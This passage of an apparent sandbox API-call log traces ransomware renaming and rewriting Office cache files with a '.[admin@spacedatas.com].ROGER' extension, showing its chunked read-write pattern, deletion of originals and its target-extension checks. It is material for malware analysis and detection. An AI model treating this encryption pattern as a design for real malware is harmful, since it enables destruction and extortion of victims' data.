[0051.467] CloseHandle (hObject=0x350) returned 1 [0051.467] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.467] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0051.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.664] lstrlenW (lpString=".doc") returned 4 [0051.664] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0051.664] lstrlenW (lpString=".docx") returned 5 [0051.664] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0051.664] lstrlenW (lpString=".pdf") returned 4 [0051.664] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0051.664] lstrlenW (lpString=".xls") returned 4 [0051.664] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0051.664] lstrlenW (lpString=".xlsx") returned 5 [0051.664] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0051.664] lstrlenW (lpString=".ppt") returned 4 [0051.664] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0051.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.664] lstrlenW (lpString=".zip") returned 4 [0051.664] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0051.664] lstrlenW (lpString=".rar") returned 4 [0051.665] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString=".bz2") returned 4 [0051.665] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString=".7z") returned 3 [0051.665] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0051.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.665] lstrlenW (lpString=".dbf") returned 4 [0051.665] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.665] lstrlenW (lpString=".1cd") returned 4 [0051.665] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.665] lstrlenW (lpString=".jpg") returned 4 [0051.665] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.665] lstrlenW (lpString=".doc") returned 4 [0051.665] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString=".docx") returned 5 [0051.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0051.665] lstrlenW (lpString=".pdf") returned 4 [0051.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString=".xls") returned 4 [0051.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString=".xlsx") returned 5 [0051.665] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0051.665] lstrlenW (lpString=".ppt") returned 4 [0051.665] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0051.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.665] lstrlenW (lpString=".zip") returned 4 [0051.665] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0051.666] lstrlenW (lpString=".rar") returned 4 [0051.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0051.666] lstrlenW (lpString=".bz2") returned 4 [0051.666] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0051.666] lstrlenW (lpString=".7z") returned 3 [0051.666] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0051.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.666] lstrlenW (lpString=".dbf") returned 4 [0051.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0051.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.666] lstrlenW (lpString=".1cd") returned 4 [0051.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0051.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.666] lstrlenW (lpString=".jpg") returned 4 [0051.666] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0051.666] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0051.666] lstrlenW (lpString="osetup.dll") returned 10 [0051.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0051.944] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=7378792) returned 1 [0051.944] CloseHandle (hObject=0x3a8) returned 1 [0051.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0051.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.944] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0051.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0051.945] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.945] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.945] ReadFile (in: hFile=0x3a8, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.951] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.951] ReadFile (in: hFile=0x3a8, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.955] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.955] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.956] ReadFile (in: hFile=0x3a8, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.979] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.979] WriteFile (in: hFile=0x3a8, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0052.196] SetEndOfFile (hFile=0x3a8) returned 1 [0052.196] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0052.199] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.199] WriteFile (in: hFile=0x3a8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.200] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.200] WriteFile (in: hFile=0x3a8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.203] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.203] WriteFile (in: hFile=0x3a8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.204] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0052.204] CloseHandle (hObject=0x3a8) returned 1 [0052.204] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.205] lstrlenW (lpString=".doc") returned 4 [0052.205] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.205] lstrlenW (lpString=".docx") returned 5 [0052.205] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0052.205] lstrlenW (lpString=".pdf") returned 4 [0052.205] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.205] lstrlenW (lpString=".xls") returned 4 [0052.205] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.205] lstrlenW (lpString=".xlsx") returned 5 [0052.205] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0052.205] lstrlenW (lpString=".ppt") returned 4 [0052.205] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.205] lstrlenW (lpString=".zip") returned 4 [0052.205] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.205] lstrlenW (lpString=".rar") returned 4 [0052.205] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.205] lstrlenW (lpString=".bz2") returned 4 [0052.205] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.205] lstrlenW (lpString=".7z") returned 3 [0052.205] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.205] lstrlenW (lpString=".dbf") returned 4 [0052.205] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.205] lstrlenW (lpString=".1cd") returned 4 [0052.205] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.205] lstrlenW (lpString=".jpg") returned 4 [0052.205] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.206] lstrlenW (lpString=".doc") returned 4 [0052.206] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString=".docx") returned 5 [0052.206] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0052.206] lstrlenW (lpString=".pdf") returned 4 [0052.206] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString=".xls") returned 4 [0052.206] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString=".xlsx") returned 5 [0052.206] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0052.206] lstrlenW (lpString=".ppt") returned 4 [0052.206] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.206] lstrlenW (lpString=".zip") returned 4 [0052.206] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString=".rar") returned 4 [0052.206] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.206] lstrlenW (lpString=".bz2") returned 4 [0052.206] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.206] lstrlenW (lpString=".7z") returned 3 [0052.206] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.206] lstrlenW (lpString=".dbf") returned 4 [0052.206] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.206] lstrlenW (lpString=".1cd") returned 4 [0052.206] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.206] lstrlenW (lpString=".jpg") returned 4 [0052.206] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.207] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0052.207] lstrlenW (lpString="VisiorWW.cab") returned 12 [0052.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0052.207] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=195011319) returned 1 [0052.207] CloseHandle (hObject=0x3a8) returned 1 [0052.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0052.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.207] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0052.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0052.208] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.208] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.208] ReadFile (in: hFile=0x3a8, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.215] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.215] ReadFile (in: hFile=0x3a8, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.221] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.221] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.221] ReadFile (in: hFile=0x3a8, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.450] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.450] WriteFile (in: hFile=0x3a8, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.464] SetEndOfFile (hFile=0x3a8) returned 1 [0052.464] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0052.467] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.467] WriteFile (in: hFile=0x3a8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.467] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.467] WriteFile (in: hFile=0x3a8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.469] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.469] WriteFile (in: hFile=0x3a8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.473] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0052.473] CloseHandle (hObject=0x3a8) returned 1 [0052.473] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.473] lstrlenW (lpString=".doc") returned 4 [0052.473] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.473] lstrlenW (lpString=".docx") returned 5 [0052.474] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.474] lstrlenW (lpString=".pdf") returned 4 [0052.474] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString=".xls") returned 4 [0052.474] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString=".xlsx") returned 5 [0052.474] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.474] lstrlenW (lpString=".ppt") returned 4 [0052.474] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.474] lstrlenW (lpString=".zip") returned 4 [0052.474] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString=".rar") returned 4 [0052.474] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString=".bz2") returned 4 [0052.474] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.474] lstrlenW (lpString=".7z") returned 3 [0052.474] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.474] lstrlenW (lpString=".dbf") returned 4 [0052.474] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.474] lstrlenW (lpString=".1cd") returned 4 [0052.474] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.474] lstrlenW (lpString=".jpg") returned 4 [0052.474] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.474] lstrlenW (lpString=".doc") returned 4 [0052.474] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.474] lstrlenW (lpString=".docx") returned 5 [0052.475] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.475] lstrlenW (lpString=".pdf") returned 4 [0052.475] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.475] lstrlenW (lpString=".xls") returned 4 [0052.475] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.475] lstrlenW (lpString=".xlsx") returned 5 [0052.475] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.475] lstrlenW (lpString=".ppt") returned 4 [0052.475] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.475] lstrlenW (lpString=".zip") returned 4 [0052.475] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.475] lstrlenW (lpString=".rar") returned 4 [0052.475] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.475] lstrlenW (lpString=".bz2") returned 4 [0052.475] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.475] lstrlenW (lpString=".7z") returned 3 [0052.475] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.475] lstrlenW (lpString=".dbf") returned 4 [0052.475] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.475] lstrlenW (lpString="C:\\MSOCache\\All 